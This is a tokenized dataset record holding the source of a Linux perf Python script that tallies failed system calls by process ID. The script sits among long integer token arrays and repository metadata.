32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 3814, 4936, 4256, 8, 785, 304, 272, 408, 272, 437, 20048, 1021, 1202, 370, 7568, 570, 3102, 370, 376, 1334, 817, 316, 570, 272, 909, 14, 221, 710, 5007, 570, 909, 965, 370, 506, 2797, 298, 493, 2, 447, 398, 1021, 3814, 4936, 8, 1173, 4936, 4256, 304, 288, 347, 636, 826, 721, 277, 12, 570, 304, 355, 291, 14, 493, 275, 570, 272, 408, 339, 2644, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 2991, 9, 272, 25255, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 9843, 9, 272, 8976, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 4939, 9, 272, 365, 16623, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 21122, 9, 272, 14930, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 13839, 9, 272, 1586, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 739, 9, 272, 1586, 9924, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 739, 9924, 9, 272, 14441, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 6407, 9, 272, 1586, 1278, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 9684, 9, 272, 12005, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 5507, 9, 272, 11620, 2638, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 4617, 2638, 9, 272, 11480, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 9974, 9, 272, 14547, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 12517, 9, 272, 2218, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 952, 9, 272, 2218, 1278, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 23277, 9, 272, 671, 9684, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 88, 9684, 9, 339, 347, 636, 1661, 721, 277, 304, 267, 372, 2740, 8, 277, 14, 493, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
qoo00783/linux
tools/perf/scripts/python/failed-syscalls-by-pid.py
1996
2233
# failed system call counts, by pid # (c) 2010, Tom Zanussi <tzanussi@gmail.com> # Licensed under the terms of the GNU GPL License version 2 # # Displays system-wide failed system call totals, broken down by pid. # If a [comm] arg is specified, only syscalls called by [comm] are displayed. import os import sys sys.path.append(os.environ['PERF_EXEC_PATH'] + \ '/scripts/python/Perf-Trace-Util/lib/Perf/Trace') from perf_trace_context import * from Core import * from Util import * usage = "perf script -s syscall-counts-by-pid.py [comm|pid]\n"; for_comm = None for_pid = None if len(sys.argv) > 2: sys.exit(usage) if len(sys.argv) > 1: try: for_pid = int(sys.argv[1]) except: for_comm = sys.argv[1] syscalls = autodict() def trace_begin(): print "Press control+C to stop and show the summary" def trace_end(): print_error_totals() def raw_syscalls__sys_exit(event_name, context, common_cpu, common_secs, common_nsecs, common_pid, common_comm, common_callchain, id, ret): if (for_comm and common_comm != for_comm) or \ (for_pid and common_pid != for_pid ): return if ret < 0: try: syscalls[common_comm][common_pid][id][ret] += 1 except TypeError: syscalls[common_comm][common_pid][id][ret] = 1 def syscalls__sys_exit(event_name, context, common_cpu, common_secs, common_nsecs, common_pid, common_comm, id, ret): raw_syscalls__sys_exit(**locals()) def print_error_totals(): if for_comm is not None: print "\nsyscall errors for %s:\n\n" % (for_comm), else: print "\nsyscall errors:\n\n", print "%-30s %10s\n" % ("comm [pid]", "count"), print "%-30s %10s\n" % ("------------------------------", \ "----------"), comm_keys = syscalls.keys() for comm in comm_keys: pid_keys = syscalls[comm].keys() for pid in pid_keys: print "\n%s [%d]\n" % (comm, pid), id_keys = syscalls[comm][pid].keys() for id in id_keys: print " syscall: %-16s\n" % syscall_name(id), ret_keys = syscalls[comm][pid][id].keys() for ret, val in sorted(syscalls[comm][pid][id].iteritems(), key = lambda(k, v): (v, k), reverse = True): print " err = %-20s %10d\n" % (strerror(ret), val),
gpl-2.0
[ 3, 3405, 2656, 1240, 8242, 12, 701, 4422, 199, 3, 334, 67, 9, 7129, 12, 21644, 29385, 665, 29453, 32, 6799, 14, 957, 30, 199, 3, 3909, 1334, 314, 2895, 402, 314, 1664, 14629, 844, 1015, 499, 199, 3, 199, 3, 28750, 2656, 13, 13062, 3405, 2656, 1240, 23576, 12, 10529, 3224, 701, 4422, 14, 199, 3, 982, 282, 359, 1404, 61, 1680, 365, 2013, 12, 1454, 19473, 2797, 701, 359, 1404, 61, 787, 9080, 14, 199, 199, 646, 747, 199, 646, 984, 199, 199, 1274, 14, 515, 14, 740, 8, 736, 14, 2314, 459, 17038, 63, 10276, 63, 3243, 418, 435, 971, 199, 198, 9807, 6429, 15, 1548, 15, 12387, 13, 3921, 13, 9562, 15, 773, 15, 12387, 15, 3921, 358, 199, 199, 504, 8582, 63, 3446, 63, 1100, 492, 627, 199, 504, 11672, 492, 627, 199, 504, 21248, 492, 627, 199, 199, 3807, 275, 298, 9452, 2884, 446, 83, 18901, 13, 6851, 13, 991, 13, 3150, 14, 647, 359, 1404, 92, 3150, 7272, 78, 11436, 199, 199, 509, 63, 1404, 275, 488, 199, 509, 63, 3150, 275, 488, 199, 199, 692, 822, 8, 1274, 14, 3020, 9, 690, 499, 26, 199, 198, 1274, 14, 2224, 8, 3807, 9, 199, 199, 692, 822, 8, 1274, 14, 3020, 9, 690, 413, 26, 199, 198, 893, 26, 507, 198, 509, 63, 3150, 275, 1109, 8, 1274, 14, 3020, 59, 17, 566, 199, 198, 2590, 26, 507, 198, 509, 63, 1404, 275, 984, 14, 3020, 59, 17, 61, 199, 199, 14507, 275, 27477, 342, 199, 199, 318, 3307, 63, 5037, 837, 199, 198, 1361, 298, 14414, 3304, 11, 35, 370, 3631, 436, 2498, 314, 6212, 2, 199, 199, 318, 3307, 63, 500, 837, 199, 198, 1361, 63, 705, 63, 17552, 342, 199, 199, 318, 3066, 63, 14507, 363, 1274, 63, 2224, 8, 1430, 63, 354, 12, 1067, 12, 2863, 63, 3541, 12, 199, 198, 2330, 63, 4855, 12, 2863, 63, 9618, 12, 2863, 63, 3150, 12, 2863, 63, 1404, 12, 199, 198, 2330, 63, 1250, 4429, 12, 1305, 12, 2203, 304, 199, 198, 692, 334, 509, 63, 1404, 436, 2863, 63, 1404, 1137, 367, 63, 1404, 9, 503, 971, 21979, 334, 509, 63, 3150, 221, 436, 2863, 63, 3150, 221, 1137, 367, 63, 3150, 3461, 507, 198, 1107, 421, 198, 692, 2203, 665, 378, 26, 507, 198, 893, 26, 686, 198, 14507, 59, 2330, 63, 1404, 1527, 2330, 63, 3150, 1527, 344, 1527, 3292, 61, 847, 413, 507, 198, 2590, 3146, 26, 686, 198, 14507, 59, 2330, 63, 1404, 1527, 2330, 63, 3150, 1527, 344, 1527, 3292, 61, 275, 413, 199, 199, 318, 19473, 363, 1274, 63, 2224, 8, 1430, 63, 354, 12, 1067, 12, 2863, 63, 3541, 12, 199, 198, 2330, 63, 4855, 12, 2863, 63, 9618, 12, 2863, 63, 3150, 12, 2863, 63, 1404, 12, 199, 198, 344, 12, 2203, 304, 199, 198, 1773, 63, 14507, 363, 1274, 63, 2224, 3682, 9350, 1012, 199, 199, 318, 870, 63, 705, 63, 17552, 837, 272, 340, 367, 63, 1404, 365, 440, 488, 26, 6722, 870, 1867, 26605, 2552, 367, 450, 83, 3427, 78, 60, 78, 2, 450, 334, 509, 63, 1404, 395, 272, 587, 26, 6722, 870, 1867, 26605, 2552, 3427, 78, 60, 78, 401, 339, 870, 18301, 1216, 83, 221, 450, 709, 83, 60, 78, 2, 450, 1689, 1404, 359, 3150, 11472, 298, 835, 1288, 272, 870, 18301, 1216, 83, 221, 450, 709, 83, 60, 78, 2, 450, 1689, 777, 10965, 401, 971, 639, 298, 9460, 1288, 339, 1923, 63, 1612, 275, 19473, 14, 1612, 342, 272, 367, 1923, 315, 1923, 63, 1612, 26, 6722, 4422, 63, 1612, 275, 19473, 59, 1404, 1055, 1612, 342, 6722, 367, 4422, 315, 4422, 63, 1612, 26, 15075, 870, 1867, 78, 5, 83, 8978, 68, 7272, 78, 2, 450, 334, 1404, 12, 4422, 395, 15075, 1305, 63, 1612, 275, 19473, 59, 1404, 1527, 3150, 1055, 1612, 342, 15075, 367, 1305, 315, 1305, 63, 1612, 26, 24449, 870, 298, 221, 18901, 26, 19752, 975, 83, 60, 78, 2, 450, 18901, 63, 354, 8, 344, 395, 24449, 2203, 63, 1612, 275, 19473, 59, 1404, 1527, 3150, 1527, 344, 1055, 1612, 342, 24449, 367, 2203, 12, 1139, 315, 3355, 8, 14507, 59, 1404, 1527, 3150, 1527, 344, 1055, 4611, 1062, 790, 275, 2400, 8, 75, 12, 373, 304, 334, 86, 12, 1022, 395, 221, 3837, 275, 715, 304, 1871, 259, 870, 298, 259, 2329, 275, 19752, 1165, 83, 221, 450, 709, 68, 60, 78, 2, 450, 334, 20395, 8, 3292, 395, 1139, 395, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 3405, 2656, 1240, 8242, 12, 701, 4422, 199, 3, 334, 67, 9, 7129, 12, 21644, 29385, 665, 29453, 32, 6799, 14, 957, 30, 199, 3, 3909, 1334, 314, 2895, 402, 314, 1664, 14629, 844, 1015, 499, 199, 3, 199, 3, 28750, 2656, 13, 13062, 3405, 2656, 1240, 23576, 12, 10529, 3224, 701, 4422, 14, 199, 3, 982, 282, 359, 1404, 61, 1680, 365, 2013, 12, 1454, 19473, 2797, 701, 359, 1404, 61, 787, 9080, 14, 199, 199, 646, 747, 199, 646, 984, 199, 199, 1274, 14, 515, 14, 740, 8, 736, 14, 2314, 459, 17038, 63, 10276, 63, 3243, 418, 435, 971, 199, 198, 9807, 6429, 15, 1548, 15, 12387, 13, 3921, 13, 9562, 15, 773, 15, 12387, 15, 3921, 358, 199, 199, 504, 8582, 63, 3446, 63, 1100, 492, 627, 199, 504, 11672, 492, 627, 199, 504, 21248, 492, 627, 199, 199, 3807, 275, 298, 9452, 2884, 446, 83, 18901, 13, 6851, 13, 991, 13, 3150, 14, 647, 359, 1404, 92, 3150, 7272, 78, 11436, 199, 199, 509, 63, 1404, 275, 488, 199, 509, 63, 3150, 275, 488, 199, 199, 692, 822, 8, 1274, 14, 3020, 9, 690, 499, 26, 199, 198, 1274, 14, 2224, 8, 3807, 9, 199, 199, 692, 822, 8, 1274, 14, 3020, 9, 690, 413, 26, 199, 198, 893, 26, 507, 198, 509, 63, 3150, 275, 1109, 8, 1274, 14, 3020, 59, 17, 566, 199, 198, 2590, 26, 507, 198, 509, 63, 1404, 275, 984, 14, 3020, 59, 17, 61, 199, 199, 14507, 275, 27477, 342, 199, 199, 318, 3307, 63, 5037, 837, 199, 198, 1361, 298, 14414, 3304, 11, 35, 370, 3631, 436, 2498, 314, 6212, 2, 199, 199, 318, 3307, 63, 500, 837, 199, 198, 1361, 63, 705, 63, 17552, 342, 199, 199, 318, 3066, 63, 14507, 363, 1274, 63, 2224, 8, 1430, 63, 354, 12, 1067, 12, 2863, 63, 3541, 12, 199, 198, 2330, 63, 4855, 12, 2863, 63, 9618, 12, 2863, 63, 3150, 12, 2863, 63, 1404, 12, 199, 198, 2330, 63, 1250, 4429, 12, 1305, 12, 2203, 304, 199, 198, 692, 334, 509, 63, 1404, 436, 2863, 63, 1404, 1137, 367, 63, 1404, 9, 503, 971, 21979, 334, 509, 63, 3150, 221, 436, 2863, 63, 3150, 221, 1137, 367, 63, 3150, 3461, 507, 198, 1107, 421, 198, 692, 2203, 665, 378, 26, 507, 198, 893, 26, 686, 198, 14507, 59, 2330, 63, 1404, 1527, 2330, 63, 3150, 1527, 344, 1527, 3292, 61, 847, 413, 507, 198, 2590, 3146, 26, 686, 198, 14507, 59, 2330, 63, 1404, 1527, 2330, 63, 3150, 1527, 344, 1527, 3292, 61, 275, 413, 199, 199, 318, 19473, 363, 1274, 63, 2224, 8, 1430, 63, 354, 12, 1067, 12, 2863, 63, 3541, 12, 199, 198, 2330, 63, 4855, 12, 2863, 63, 9618, 12, 2863, 63, 3150, 12, 2863, 63, 1404, 12, 199, 198, 344, 12, 2203, 304, 199, 198, 1773, 63, 14507, 363, 1274, 63, 2224, 3682, 9350, 1012, 199, 199, 318, 870, 63, 705, 63, 17552, 837, 272, 340, 367, 63, 1404, 365, 440, 488, 26, 6722, 870, 1867, 26605, 2552, 367, 450, 83, 3427, 78, 60, 78, 2, 450, 334, 509, 63, 1404, 395, 272, 587, 26, 6722, 870, 1867, 26605, 2552, 3427, 78, 60, 78, 401, 339, 870, 18301, 1216, 83, 221, 450, 709, 83, 60, 78, 2, 450, 1689, 1404, 359, 3150, 11472, 298, 835, 1288, 272, 870, 18301, 1216, 83, 221, 450, 709, 83, 60, 78, 2, 450, 1689, 777, 10965, 401, 971, 639, 298, 9460, 1288, 339, 1923, 63, 1612, 275, 19473, 14, 1612, 342, 272, 367, 1923, 315, 1923, 63, 1612, 26, 6722, 4422, 63, 1612, 275, 19473, 59, 1404, 1055, 1612, 342, 6722, 367, 4422, 315, 4422, 63, 1612, 26, 15075, 870, 1867, 78, 5, 83, 8978, 68, 7272, 78, 2, 450, 334, 1404, 12, 4422, 395, 15075, 1305, 63, 1612, 275, 19473, 59, 1404, 1527, 3150, 1055, 1612, 342, 15075, 367, 1305, 315, 1305, 63, 1612, 26, 24449, 870, 298, 221, 18901, 26, 19752, 975, 83, 60, 78, 2, 450, 18901, 63, 354, 8, 344, 395, 24449, 2203, 63, 1612, 275, 19473, 59, 1404, 1527, 3150, 1527, 344, 1055, 1612, 342, 24449, 367, 2203, 12, 1139, 315, 3355, 8, 14507, 59, 1404, 1527, 3150, 1527, 344, 1055, 4611, 1062, 790, 275, 2400, 8, 75, 12, 373, 304, 334, 86, 12, 1022, 395, 221, 3837, 275, 715, 304, 1871, 259, 870, 298, 259, 2329, 275, 19752, 1165, 83, 221, 450, 709, 68, 60, 78, 2, 450, 334, 20395, 8, 3292, 395, 1139, 395, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
